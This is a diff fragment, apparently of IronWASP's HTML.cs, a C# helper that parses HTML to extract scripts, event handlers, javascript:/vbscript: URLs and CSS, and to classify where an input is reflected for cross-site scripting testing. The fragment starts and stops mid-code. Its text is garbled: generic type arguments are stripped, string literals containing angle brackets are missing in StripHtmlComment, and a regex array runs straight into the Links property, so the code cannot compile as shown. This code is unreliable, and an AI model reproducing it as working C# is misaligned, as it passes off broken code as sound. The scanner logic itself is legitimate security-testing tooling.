(Node.OuterHtml.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - foreach (HtmlNode ChildNode in Node.ChildNodes) - { - Contexts.AddRange(GetContextInNode(Parameter, ChildNode)); - } - } - } - return Contexts; - } - - public List GetJavaScript() - { - return GetJavaScript(""); - } - - public List GetJavaScript(string Keyword) - { - return GetScript(Keyword, true); - } - - public List GetVisualBasic() - { - return GetVisualBasic(""); - } - - public List GetVisualBasic(string Keyword) - { - return GetScript(Keyword, false); - } - - public List GetScript(string Keyword, bool ShouldGetJavaScript) - { - List Scripts = new List(); - HtmlNodeCollection JSNodes = this.GetNodes("script"); - if(JSNodes != null) - { - foreach (HtmlNode Node in JSNodes) - { - if (!Node.Attributes.Contains("src")) - { - if (Keyword.Length == 0 || Node.InnerText.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0) - { - bool IsJS = true; - if (Node.Attributes.Contains("type")) - { - if (Node.Attributes["type"].Value.IndexOf("vbscript", StringComparison.OrdinalIgnoreCase) > -1) - { - IsJS = false; - } - } - else if (Node.Attributes.Contains("language")) - { - if (Node.Attributes["language"].Value.IndexOf("vbscript", StringComparison.OrdinalIgnoreCase) > -1) - { - IsJS = false; - } - } - if (ShouldGetJavaScript) - { - if (IsJS) - { - Scripts.Add(StripHtmlComment(Node.InnerText)); - } - } - else - { - if (!IsJS) - { - Scripts.Add(StripHtmlComment(Node.InnerText)); - } - } - } - } - } - } - if (ShouldGetJavaScript) - Scripts.AddRange(GetJavaScript(this.Html.DocumentNode, Keyword)); - else - Scripts.AddRange(GetVisualBasic(this.Html.DocumentNode, Keyword)); - return Scripts; - } - - public List GetJavaScript(HtmlNode Node, string Keyword) - { - return GetScript(Node, Keyword, true); - } - - public List GetVisualBasic(HtmlNode Node, string Keyword) - { - return GetScript(Node, Keyword, false); - } - - public List GetScript(HtmlNode Node, string Keyword, bool ShouldGetJavaScript) - { - List Scripts = new List(); - if (Node == null) return Scripts; - if (Node.Attributes != null) - { - foreach (HtmlAttribute Attr in Node.Attributes) - { - if (Attr.Value != null) - { - if (ShouldGetJavaScript && EventAttributes.Contains(Attr.Name) && (Keyword.Length == 0 || Attr.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0)) - { - if (Attr.Value.EndsWith(";")) - Scripts.Add(Attr.Value); - else - Scripts.Add(Attr.Value + ";"); - } - else if (IsUrlAttribute(Node.Name, Attr.Name) && Attr.Value.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase) && (Keyword.Length == 0 || Attr.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0)) - { - if (ShouldGetJavaScript) - { - Scripts.AddRange(GetJavaScriptUrlScripts(new List() { Attr.Value })); - } - } - else if (IsUrlAttribute(Node.Name, Attr.Name) && Attr.Value.StartsWith("vbscript:", StringComparison.OrdinalIgnoreCase) && (Keyword.Length == 0 || Attr.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0)) - { - if (!ShouldGetJavaScript) - { - Scripts.AddRange(GetVisualBasicUrlScripts(new List() { Attr.Value })); - } - } - } - } - } - if (Node.ChildNodes != null) - { - foreach (HtmlNode ChildNode in Node.ChildNodes) - { - Scripts.AddRange(GetScript(ChildNode, Keyword, ShouldGetJavaScript)); - } - } - return Scripts; - } - - - List GetJavaScriptUrlScripts(List JavaScriptUrls) - { - List JavaScriptUrlScripts = new List(); - foreach (string Url in JavaScriptUrls) - { - if (Url.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) - { - string JSWithinUrl = Url.Substring(11); - JSWithinUrl = JSWithinUrl.Trim(); - if (JSWithinUrl.StartsWith("\"") && JSWithinUrl.EndsWith("\"")) - JSWithinUrl = JSWithinUrl.Trim('"'); - else if (JSWithinUrl.StartsWith("'") && JSWithinUrl.EndsWith("'")) - JSWithinUrl = JSWithinUrl.Trim('\''); - JavaScriptUrlScripts.Add(JSWithinUrl); - } - } - return JavaScriptUrlScripts; - } - - List GetVisualBasicUrlScripts(List VisualBasicUrls) - { - List VisualBasicUrlScripts = new List(); - foreach (string Url in VisualBasicUrls) - { - if (Url.StartsWith("vbscript:", StringComparison.OrdinalIgnoreCase)) - { - string VBWithinUrl = Url.Substring(9); - VBWithinUrl = VBWithinUrl.Trim(); - if (VBWithinUrl.StartsWith("\"") && VBWithinUrl.EndsWith("\"")) - VBWithinUrl = VBWithinUrl.Trim('"'); - else if (VBWithinUrl.StartsWith("'") && VBWithinUrl.EndsWith("'")) - VBWithinUrl = VBWithinUrl.Trim('\''); - VisualBasicUrlScripts.Add(VBWithinUrl); - } - } - return VisualBasicUrlScripts; - } - - public List GetCss() - { - return GetCssOnWrappingCondition(false); - } - - public List GetCssOnWrappingCondition(bool WrapInLineCss) - { - return GetCss("", WrapInLineCss); - } - - public List GetCss(string Keyword) - { - return GetCss(Keyword, false); - } - - public List GetCss(string Keyword, bool WrapInLineCss) - { - List CssStrings = new List(); - HtmlNodeCollection CssNodes = this.GetNodes("style"); - if (CssNodes != null) - { - foreach (HtmlNode Node in CssNodes) - { - if (Keyword.Length == 0 || Node.InnerText.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0) - { - CssStrings.Add(StripHtmlComment(Node.InnerText)); - } - } - } - List InLineCssStrings = this.GetValues("*", "style"); - foreach (string InLineCssString in InLineCssStrings) - { - if (Keyword.Length == 0 || InLineCssString.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0) - { - if (WrapInLineCss) - { - CssStrings.Add(string.Format("x{{{0}}}", InLineCssString)); - } - else - { - CssStrings.Add(InLineCssString); - } - } - } - return CssStrings; - } - - public string XpathSafe(string Input) - { - if (Input.Contains("\"") && Input.Contains("'")) - { - string[] DoubleQuoteSplitArray = Input.Split(new char['"']); - StringBuilder Result = new StringBuilder("concat("); - foreach (string Part in DoubleQuoteSplitArray) - { - Result.Append("\""); Result.Append(Part); Result.Append("\""); Result.Append(","); - Result.Append("\""); Result.Append(","); - } - return Result.ToString().TrimEnd(','); - } - else if (Input.Contains("\"")) - { - return "'" + Input + "'"; - } - else if (Input.Contains("'")) - { - return "\"" + Input + "\""; - } - else - { - return "'" + Input + "'"; - } - } - - public static string StripHtmlComment(string Input) - { - string ActualInput = Input; - bool Processed = false; - string ProcessedInput = Input.Trim(); - if (ProcessedInput.StartsWith("'); - ProcessedInputCopy = ProcessedInput; - for (int i = ProcessedInputCopy.Length - 1; i >= 0; i--) - { - if (ProcessedInputCopy[i] == '-') - { - Processed = true; - ProcessedInput = ProcessedInput.TrimEnd('-'); - } - else - { - break; - } - } - } - - if (Processed) - { - return ProcessedInput; - } - else - { - return ActualInput; - } - } - - public static bool IsUrlAttribute(string TagName, string AttributeName) - { - if ((TagName.Equals("iframe", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("src", StringComparison.OrdinalIgnoreCase)) - || (TagName.Equals("frame", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("src", StringComparison.OrdinalIgnoreCase)) - || (TagName.Equals("a", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("href", StringComparison.OrdinalIgnoreCase)) - || (TagName.Equals("form", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("action", StringComparison.OrdinalIgnoreCase)) - || (TagName.Equals("base", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("href", StringComparison.OrdinalIgnoreCase)) - || (TagName.Equals("embed", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("src", StringComparison.OrdinalIgnoreCase)) - || (TagName.Equals("button", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("formaction", StringComparison.OrdinalIgnoreCase))) - { - return true; - } - else - { - return false; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using HtmlAgilityPack; +using System.Text.RegularExpressions; + +namespace IronWASP +{ + public class HTML + { + public HtmlDocument Html = new HtmlDocument(); + + static List EventAttributes = new List() { "onload", "onunload", "onabort", "onbeforeunload", "onhashchange", "onmessage", "onoffline", "ononline", "onpagehide", "onpageshow", "onpopstate", "onredo", "onresize", "onstorage", "onundo", "onunload", "onkeypress", "onkeydown", "onkeyup", "onmouseover", "onmousemove", "onmouseout", "onclick", "ondblclick", "onmousedown", "onmouseup", "onmousewheel", "ondrag", "ondragover", "ondragenter", "ondragleave", "ondrop", "ondragend", "onfocus", "onblur", "onchange", "oncontextmenu", "onformchange", "onforminput", "oninput", "oninvalid", "onselect", "onsubmit", "onreset", "onbeforeprint", "onafterprint", "onerror" }; + + static Regex CompiledHtmlDocTypeRegex = new Regex(@"^\s<\!doctype\s+html", RegexOptions.Compiled | RegexOptions.Multiline | RegexOptions.IgnoreCase); + + static Regex[] CompiledAngleBracketsRegex = new Regex[] { + new Regex(@"^\s*<", RegexOptions.Compiled), + //new Regex(@">\s*$", RegexOptions.Compiled | RegexOptions.Multiline) + }; + + static Regex[] CompiledHtmlTagRegexes = new Regex[] { + new Regex(@"", RegexOptions.Compiled | RegexOptions.Multiline), + new Regex(@" Links + { + get + { + List LinkValues = new List(); + foreach (string RawLinkValue in this.GetValues("a", "href")) + { + LinkValues.Add(Tools.HtmlDecode(RawLinkValue)); + } + return LinkValues; + } + } + + public List Comments + { + get + { + return this.Get("comment()"); + } + } + + public void Load(string HtmlString) + { + this.Html.LoadHtml(HtmlString); + } + + public List Get(string ElementName) + { + return Query(string.Format("//{0}", ElementName.ToLower())); + } + + public List Get(string ElementName, string AttributeName) + { + return Query(string.Format("//{0}[@{1}]", ElementName.ToLower(), AttributeName.ToLower())); + } + + public List GetDecodedValues(string ElementName, string AttributeName) + { + List DecodedValues = new List(); + foreach(string Value in QueryValues(string.Format("//{0}[@{1}]", ElementName.ToLower(), AttributeName.ToLower()), AttributeName.ToLower())) + { + DecodedValues.Add(Tools.HtmlDecode(Value)); + } + return DecodedValues; + } + + public List GetValues(string ElementName, string AttributeName) + { + return QueryValues(string.Format("//{0}[@{1}]", ElementName.ToLower(), AttributeName.ToLower()), AttributeName.ToLower()); + } + + public List GetDecodedValues(string ElementName, string AttributeName, string AttributeValue, string InterestedAttributeName) + { + List DecodedValues = new List(); + foreach (string Value in QueryValues(string.Format("//{0}[@{1}={2}]", ElementName.ToLower(), AttributeName.ToLower(), XpathSafe(AttributeValue)), InterestedAttributeName.ToLower())) + { + DecodedValues.Add(Tools.HtmlDecode(Value)); + } + return DecodedValues; + } + + public List GetValues(string ElementName, string AttributeName, string AttributeValue, string InterestedAttributeName) + { + return QueryValues(string.Format("//{0}[@{1}={2}]", ElementName.ToLower(), AttributeName.ToLower(), XpathSafe(AttributeValue)), InterestedAttributeName.ToLower()); + } + + public List GetValuesIgnoreValueCase(string ElementName, string AttributeName, string AttributeValue, string InterestedAttributeName) + { + List Values = new List(); + AttributeName = AttributeName.ToLower(); + InterestedAttributeName = InterestedAttributeName.ToLower(); + List Nodes = GetNodes(ElementName, AttributeName); + foreach (HtmlNode Node in Nodes) + { + string Value = ""; + bool CorrectTag = false; + foreach (HtmlAttribute Attr in Node.Attributes) + { + if (Attr.Name.Equals(InterestedAttributeName)) + { + Value = Attr.Value; + } + if (Attr.Name.Equals(AttributeName) && Attr.Value.Equals(AttributeValue, StringComparison.OrdinalIgnoreCase)) + { + CorrectTag = true; + } + } + if (CorrectTag) + { + Values.Add(Value); + } + } + return Values; + } + + public List Get(string ElementName, string AttributeName, string AttributeValue) + { + return Query(string.Format("//{0}[@{1}={2}]", ElementName.ToLower(), AttributeName.ToLower(), XpathSafe(AttributeValue))); + } + + public List GetMetaContent(string Attribute, string AttributeValue) + { + return GetValuesIgnoreValueCase("meta", Attribute, AttributeValue, "content"); + } + + public List GetNodes(string ElementName) + { + return QueryNodes(string.Format("//{0}", ElementName.ToLower())); + } + + public List GetNodes(string ElementName, string AttributeName) + { + return QueryNodes(string.Format("//{0}[@{1}]", ElementName.ToLower(), AttributeName.ToLower())); + } + + public List GetNodes(string ElementName, string AttributeName, string AttributeValue) + { + return QueryNodes(string.Format("//{0}[@{1}={2}]", ElementName.ToLower(), AttributeName.ToLower(), XpathSafe(AttributeValue))); + } + + public List QueryNodes(string Xpath) + { + return NodeCollectionToNodeList(Html.DocumentNode.SelectNodes(Xpath)); + } + + public List Query(string Xpath) + { + List Result = new List(); + try + { + List Nodes = QueryNodes(Xpath); + foreach (HtmlNode Node in Nodes) + { + Result.Add(Node.OuterHtml); + } + } + catch + {} + return Result; + } + + public List QueryValues(string Xpath, string AttributeName) + { + AttributeName = AttributeName.ToLower(); + List Result = new List(); + try + { + List Nodes = QueryNodes(Xpath); + foreach (HtmlNode Node in Nodes) + { + if (Node.Attributes.Contains(AttributeName)) + { + Result.Add(Node.Attributes[AttributeName].Value); + } + } + } + catch { } + return Result; + } + + public List GetLinks() + { + List LinkNodes = new List(); + List LinkNodeCollection = this.GetNodes("a", "href"); + foreach (HtmlNode Node in LinkNodeCollection) + { + LinkNodes.Add(Node); + } + return LinkNodes; + } + + public List GetLinkElements() + { + List LinkElements = new List(); + + List LinkNodes = GetLinks(); + + for (int i=0; i < LinkNodes.Count; i++) + { + LinkElements.Add(new IronHtml.LinkElement(LinkNodes[i], i)); + } + + return LinkElements; + } + + public List GetForms() + { + List ProcessedForms = new List(); + List Forms = this.GetNodes("form"); + + foreach (HtmlNode Form in Forms) + { + HtmlNode StrippedFormNode = CopyNodeTopElement(Form); + CopyInputElementsIntoForm(Form, StrippedFormNode); + ProcessedForms.Add(StrippedFormNode); + } + return ProcessedForms; + } + + public List GetFormElements() + { + List FormElements = new List(); + + List FormNodes = GetForms(); + + for (int i=0; i < FormNodes.Count; i++) + { + FormElements.Add(new IronHtml.FormElement(FormNodes[i], i)); + } + + return FormElements; + } + + HtmlNode CopyNodeTopElement(HtmlNode InputNode, HtmlDocument HDoc) + { + HtmlNode NewNode = new HtmlNode(InputNode.NodeType, HDoc, 0); + NewNode.Name = InputNode.Name; + if (InputNode.HasAttributes) + { + foreach (HtmlAttribute Attr in InputNode.Attributes) + { + NewNode.Attributes.Add(Attr.Name, Attr.Value); + } + } + if (InputNode.HasClosingAttributes) + { + foreach (HtmlAttribute Attr in InputNode.ClosingAttributes) + { + NewNode.ClosingAttributes.Add(Attr.Name, Attr.Value); + } + } + return NewNode; + } + HtmlNode CopyNodeTopElement(HtmlNode InputNode) + { + return CopyNodeTopElement(InputNode, new HtmlDocument()); + } + + + List GetInputNodeStrings(HtmlNode InputNode) + { + List InputNodeStrings = new List(); + foreach(HtmlNode Node in InputNode.ChildNodes) + { + if (Node.Name.Equals("input")) + InputNodeStrings.Add(Node.OuterHtml); + else if (Node.ChildNodes.Count > 0) + InputNodeStrings.AddRange(GetInputNodeStrings(Node)); + } + return InputNodeStrings; + } + + HtmlNode GetStrippedForm(HtmlNode OriginalForm, List InputElementStrings) + { + OriginalForm.RemoveAllChildren(); + foreach (string InputElementString in InputElementStrings) + { + HTML InputHtml = new HTML(InputElementString); + OriginalForm.AppendChild(InputHtml.Html.DocumentNode.FirstChild); + } + return OriginalForm; + } + + void CopyInputElementsIntoForm(HtmlNode SourceForm, HtmlNode DestinationForm) + { + foreach (HtmlNode Node in SourceForm.ChildNodes) + { + if (Node.Name.Equals("input")) + { + DestinationForm.AppendChild(CopyNodeTopElement(Node, DestinationForm.OwnerDocument)); + } + else if (Node.ChildNodes.Count > 0) + { + CopyInputElementsIntoForm(Node, DestinationForm); + } + } + } + + public List GetContext(string Parameter) + { + List Contexts = new List(); + if (Html == null) return Contexts; + + foreach (HtmlNode Node in Html.DocumentNode.ChildNodes) + { + if (Node.OuterHtml.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.AddRange(GetContextInNode(Parameter, Node)); + } + } + return Contexts; + } + + List GetContextInNode(string Parameter, HtmlNode Node) + { + List Contexts = new List(); + if (Node.NodeType == HtmlNodeType.Comment) + { + if (Node.InnerText.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.HtmlComment); + } + } + else if (Node.NodeType == HtmlNodeType.Text) + { + if (Node.InnerText.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + if (Node.ParentNode.Name.Equals("script", StringComparison.OrdinalIgnoreCase)) + { + bool IsJS = true; + if (Node.ParentNode.Attributes.Contains("type")) + { + if (Node.ParentNode.Attributes["type"].Value.IndexOf("vbscript", StringComparison.OrdinalIgnoreCase) > -1) + { + IsJS = false; + } + } + else if (Node.ParentNode.Attributes.Contains("language")) + { + if (Node.ParentNode.Attributes["language"].Value.IndexOf("vbscript", StringComparison.OrdinalIgnoreCase) > -1) + { + IsJS = false; + } + } + if (IsJS) + { + Contexts.Add(ReflectionContext.InLineJS); + } + else + { + Contexts.Add(ReflectionContext.InLineVB); + } + } + else if (Node.ParentNode.Name.Equals("style", StringComparison.OrdinalIgnoreCase)) + { + Contexts.Add(ReflectionContext.InLineCSS); + } + else if (Node.ParentNode.Name.Equals("textarea")) + { + Contexts.Add(ReflectionContext.Textarea); + } + else + { + Contexts.Add(ReflectionContext.Html); + } + } + } + else if (Node.NodeType == HtmlNodeType.Element) + { + if (Node.OuterHtml.Equals(Parameter, StringComparison.OrdinalIgnoreCase)) + { + Contexts.Add(ReflectionContext.Html); + } + else if (Node.InnerHtml.Equals(Parameter, StringComparison.OrdinalIgnoreCase)) + { + Contexts.Add(ReflectionContext.Html); + } + else if (Node.Name.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.ElementName); + } + foreach (HtmlAttribute Attribute in Node.Attributes) + { + if (Attribute.Name.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.AttributeName); + } + if (Attribute.Value.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + if (Attribute.QuoteType == AttributeValueQuote.SingleQuote) + { + Contexts.Add(ReflectionContext.AttributeValueWithSingleQuote); + } + else + { + Contexts.Add(ReflectionContext.AttributeValueWithDoubleQuote); + } + if (IsUrlAttribute(Node.Name, Attribute.Name)) + { + if (Attribute.Value.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) + { + string JSAttributeValue = Attribute.Value.Substring(11); + if (JSAttributeValue.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.JSUrl); + } + else + { + Contexts.Add(ReflectionContext.UrlAttribute); + } + } + else if (Attribute.Value.StartsWith("vbscript:", StringComparison.OrdinalIgnoreCase)) + { + string VBAttributeValue = Attribute.Value.Substring(9); + if (VBAttributeValue.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.VBUrl); + } + else + { + Contexts.Add(ReflectionContext.UrlAttribute); + } + } + else + { + Contexts.Add(ReflectionContext.UrlAttribute); + } + } + else if (Attribute.Name.Equals("style", StringComparison.OrdinalIgnoreCase)) + { + Contexts.Add(ReflectionContext.AttributeCSS); + } + else if (EventAttributes.Contains(Attribute.Name.ToLower())) + { + Contexts.Add(ReflectionContext.EventAttribute); + } + + if (Node.Name.Equals("meta", StringComparison.OrdinalIgnoreCase)) + { + Contexts.Add(ReflectionContext.MetaAttribute); + if (Attribute.Name.Equals("content", StringComparison.OrdinalIgnoreCase)) + { + if (Node.Attributes.Contains("http-equiv")) + { + if (Node.Attributes["http-equiv"].Value.Equals("refresh", StringComparison.OrdinalIgnoreCase)) + { + string[] RedirectParts = Attribute.Value.Split(new char[] { ';' }, 2); + if (RedirectParts.Length == 2) + { + string RedirectUrl = RedirectParts[1].Trim(); + RedirectUrl = RedirectUrl.Substring(4);//strip off 'url=' + RedirectUrl = RedirectUrl.Trim('"').Trim('\''); + if (RedirectUrl.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) + { + string JSAttributeValue = RedirectUrl.Substring(11); + if (JSAttributeValue.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.JSUrl); + } + else if (RedirectUrl.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.UrlAttribute); + } + } + else if (RedirectUrl.StartsWith("vbscript:", StringComparison.OrdinalIgnoreCase)) + { + string VBAttributeValue = RedirectUrl.Substring(9); + if (VBAttributeValue.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.VBUrl); + } + else if (RedirectUrl.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.UrlAttribute); + } + } + else if (RedirectUrl.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + Contexts.Add(ReflectionContext.UrlAttribute); + } + } + } + } + } + } + } + } + if (Node.OuterHtml.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) + { + foreach (HtmlNode ChildNode in Node.ChildNodes) + { + Contexts.AddRange(GetContextInNode(Parameter, ChildNode)); + } + } + } + return Contexts; + } + + public List GetJavaScript() + { + return GetJavaScript(""); + } + + public List GetJavaScript(string Keyword) + { + return GetScript(Keyword, true); + } + + public List GetVisualBasic() + { + return GetVisualBasic(""); + } + + public List GetVisualBasic(string Keyword) + { + return GetScript(Keyword, false); + } + + public List GetScript(string Keyword, bool ShouldGetJavaScript) + { + List Scripts = GetScriptFromScriptTags(Keyword, ShouldGetJavaScript); + + if (ShouldGetJavaScript) + Scripts.AddRange(GetJavaScriptFromAttributes(Keyword)); + else + Scripts.AddRange(GetVisualBasicFromAttributes(Keyword)); + return Scripts; + } + + public List GetJavaScriptFromScriptTags() + { + return GetJavaScriptFromScriptTags(""); + } + + public List GetJavaScriptFromScriptTags(string Keyword) + { + return GetScriptFromScriptTags(Keyword, true); + } + + public List GetVisualBasicFromScriptTags() + { + return GetVisualBasicFromScriptTags(""); + } + + public List GetVisualBasicFromScriptTags(string Keyword) + { + return GetScriptFromScriptTags(Keyword, false); + } + + List GetScriptFromScriptTags(string Keyword, bool ShouldGetJavaScript) + { + List Scripts = new List(); + List JSNodes = this.GetNodes("script"); + foreach (HtmlNode Node in JSNodes) + { + if (!Node.Attributes.Contains("src")) + { + if (Keyword.Length == 0 || Node.InnerText.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0) + { + bool IsJS = true; + if (Node.Attributes.Contains("type")) + { + if (Node.Attributes["type"].Value.IndexOf("vbscript", StringComparison.OrdinalIgnoreCase) > -1) + { + IsJS = false; + } + } + else if (Node.Attributes.Contains("language")) + { + if (Node.Attributes["language"].Value.IndexOf("vbscript", StringComparison.OrdinalIgnoreCase) > -1) + { + IsJS = false; + } + } + if (ShouldGetJavaScript) + { + if (IsJS) + { + Scripts.Add(StripHtmlComment(Node.InnerText)); + } + } + else + { + if (!IsJS) + { + Scripts.Add(StripHtmlComment(Node.InnerText)); + } + } + } + } + } + return Scripts; + } + + public List GetJavaScriptFromAttributes() + { + return GetJavaScriptFromAttributes(""); + } + + public List GetJavaScriptFromAttributes(string Keyword) + { + return GetJavaScript(this.Html.DocumentNode, Keyword); + } + + public List GetVisualBasicFromAttributes() + { + return GetVisualBasicFromAttributes(""); + } + + public List GetVisualBasicFromAttributes(string Keyword) + { + return GetVisualBasic(this.Html.DocumentNode, Keyword); + } + + public List GetJavaScript(HtmlNode Node, string Keyword) + { + return GetScript(Node, Keyword, true); + } + + public List GetVisualBasic(HtmlNode Node, string Keyword) + { + return GetScript(Node, Keyword, false); + } + + public List GetScript(HtmlNode Node, string Keyword, bool ShouldGetJavaScript) + { + List Scripts = new List(); + if (Node == null) return Scripts; + if (Node.Attributes != null) + { + foreach (HtmlAttribute Attr in Node.Attributes) + { + if (Attr.Value != null) + { + if (ShouldGetJavaScript && EventAttributes.Contains(Attr.Name) && (Keyword.Length == 0 || Attr.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0)) + { + if (Attr.Value.EndsWith(";")) + Scripts.Add(Attr.Value); + else + Scripts.Add(Attr.Value + ";"); + } + else if (IsUrlAttribute(Node.Name, Attr.Name) && Attr.Value.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase) && (Keyword.Length == 0 || Attr.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0)) + { + if (ShouldGetJavaScript) + { + Scripts.AddRange(GetJavaScriptUrlScripts(new List() { Attr.Value })); + } + } + else if (IsUrlAttribute(Node.Name, Attr.Name) && Attr.Value.StartsWith("vbscript:", StringComparison.OrdinalIgnoreCase) && (Keyword.Length == 0 || Attr.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0)) + { + if (!ShouldGetJavaScript) + { + Scripts.AddRange(GetVisualBasicUrlScripts(new List() { Attr.Value })); + } + } + } + } + } + if (Node.ChildNodes != null) + { + foreach (HtmlNode ChildNode in Node.ChildNodes) + { + Scripts.AddRange(GetScript(ChildNode, Keyword, ShouldGetJavaScript)); + } + } + return Scripts; + } + + + List GetJavaScriptUrlScripts(List JavaScriptUrls) + { + List JavaScriptUrlScripts = new List(); + foreach (string Url in JavaScriptUrls) + { + if (Url.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) + { + string JSWithinUrl = Url.Substring(11); + JSWithinUrl = JSWithinUrl.Trim(); + if (JSWithinUrl.StartsWith("\"") && JSWithinUrl.EndsWith("\"")) + JSWithinUrl = JSWithinUrl.Trim('"'); + else if (JSWithinUrl.StartsWith("'") && JSWithinUrl.EndsWith("'")) + JSWithinUrl = JSWithinUrl.Trim('\''); + JavaScriptUrlScripts.Add(JSWithinUrl); + } + } + return JavaScriptUrlScripts; + } + + List GetVisualBasicUrlScripts(List VisualBasicUrls) + { + List VisualBasicUrlScripts = new List(); + foreach (string Url in VisualBasicUrls) + { + if (Url.StartsWith("vbscript:", StringComparison.OrdinalIgnoreCase)) + { + string VBWithinUrl = Url.Substring(9); + VBWithinUrl = VBWithinUrl.Trim(); + if (VBWithinUrl.StartsWith("\"") && VBWithinUrl.EndsWith("\"")) + VBWithinUrl = VBWithinUrl.Trim('"'); + else if (VBWithinUrl.StartsWith("'") && VBWithinUrl.EndsWith("'")) + VBWithinUrl = VBWithinUrl.Trim('\''); + VisualBasicUrlScripts.Add(VBWithinUrl); + } + } + return VisualBasicUrlScripts; + } + + public List GetCss() + { + return GetCssOnWrappingCondition(false); + } + + public List GetCssOnWrappingCondition(bool WrapInLineCss) + { + return GetCss("", WrapInLineCss); + } + + public List GetCss(string Keyword) + { + return GetCss(Keyword, false); + } + + public List GetCss(string Keyword, bool WrapInLineCss) + { + List CssStrings = new List(); + List CssNodes = this.GetNodes("style"); + foreach (HtmlNode Node in CssNodes) + { + if (Keyword.Length == 0 || Node.InnerText.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0) + { + CssStrings.Add(StripHtmlComment(Node.InnerText)); + } + } + List InLineCssStrings = this.GetValues("*", "style"); + foreach (string InLineCssString in InLineCssStrings) + { + if (Keyword.Length == 0 || InLineCssString.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) >= 0) + { + if (WrapInLineCss) + { + CssStrings.Add(string.Format("x{{{0}}}", InLineCssString)); + } + else + { + CssStrings.Add(InLineCssString); + } + } + } + return CssStrings; + } + + public string XpathSafe(string Input) + { + if (Input.Contains("\"") && Input.Contains("'")) + { + string[] DoubleQuoteSplitArray = Input.Split(new char['"']); + StringBuilder Result = new StringBuilder("concat("); + foreach (string Part in DoubleQuoteSplitArray) + { + Result.Append("\""); Result.Append(Part); Result.Append("\""); Result.Append(","); + Result.Append("\""); Result.Append(","); + } + return Result.ToString().TrimEnd(','); + } + else if (Input.Contains("\"")) + { + return "'" + Input + "'"; + } + else if (Input.Contains("'")) + { + return "\"" + Input + "\""; + } + else + { + return "'" + Input + "'"; + } + } + + public static string StripHtmlComment(string Input) + { + string ActualInput = Input; + bool Processed = false; + string ProcessedInput = Input.Trim(); + if (ProcessedInput.StartsWith("'); + ProcessedInputCopy = ProcessedInput; + for (int i = ProcessedInputCopy.Length - 1; i >= 0; i--) + { + if (ProcessedInputCopy[i] == '-') + { + Processed = true; + ProcessedInput = ProcessedInput.TrimEnd('-'); + } + else + { + break; + } + } + } + + if (Processed) + { + return ProcessedInput; + } + else + { + return ActualInput; + } + } + + public static bool IsUrlAttribute(string TagName, string AttributeName) + { + if ((TagName.Equals("iframe", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("src", StringComparison.OrdinalIgnoreCase)) + || (TagName.Equals("frame", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("src", StringComparison.OrdinalIgnoreCase)) + || (TagName.Equals("a", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("href", StringComparison.OrdinalIgnoreCase)) + || (TagName.Equals("form", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("action", StringComparison.OrdinalIgnoreCase)) + || (TagName.Equals("base", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("href", StringComparison.OrdinalIgnoreCase)) + || (TagName.Equals("embed", StringComparison.OrdinalIgnoreCase) && AttributeName.Equals("src", StringComparison.OrdinalIgnoreCase)) + || (TagName.Equals("button", StringComparison.OrdinalIgnoreCase) && 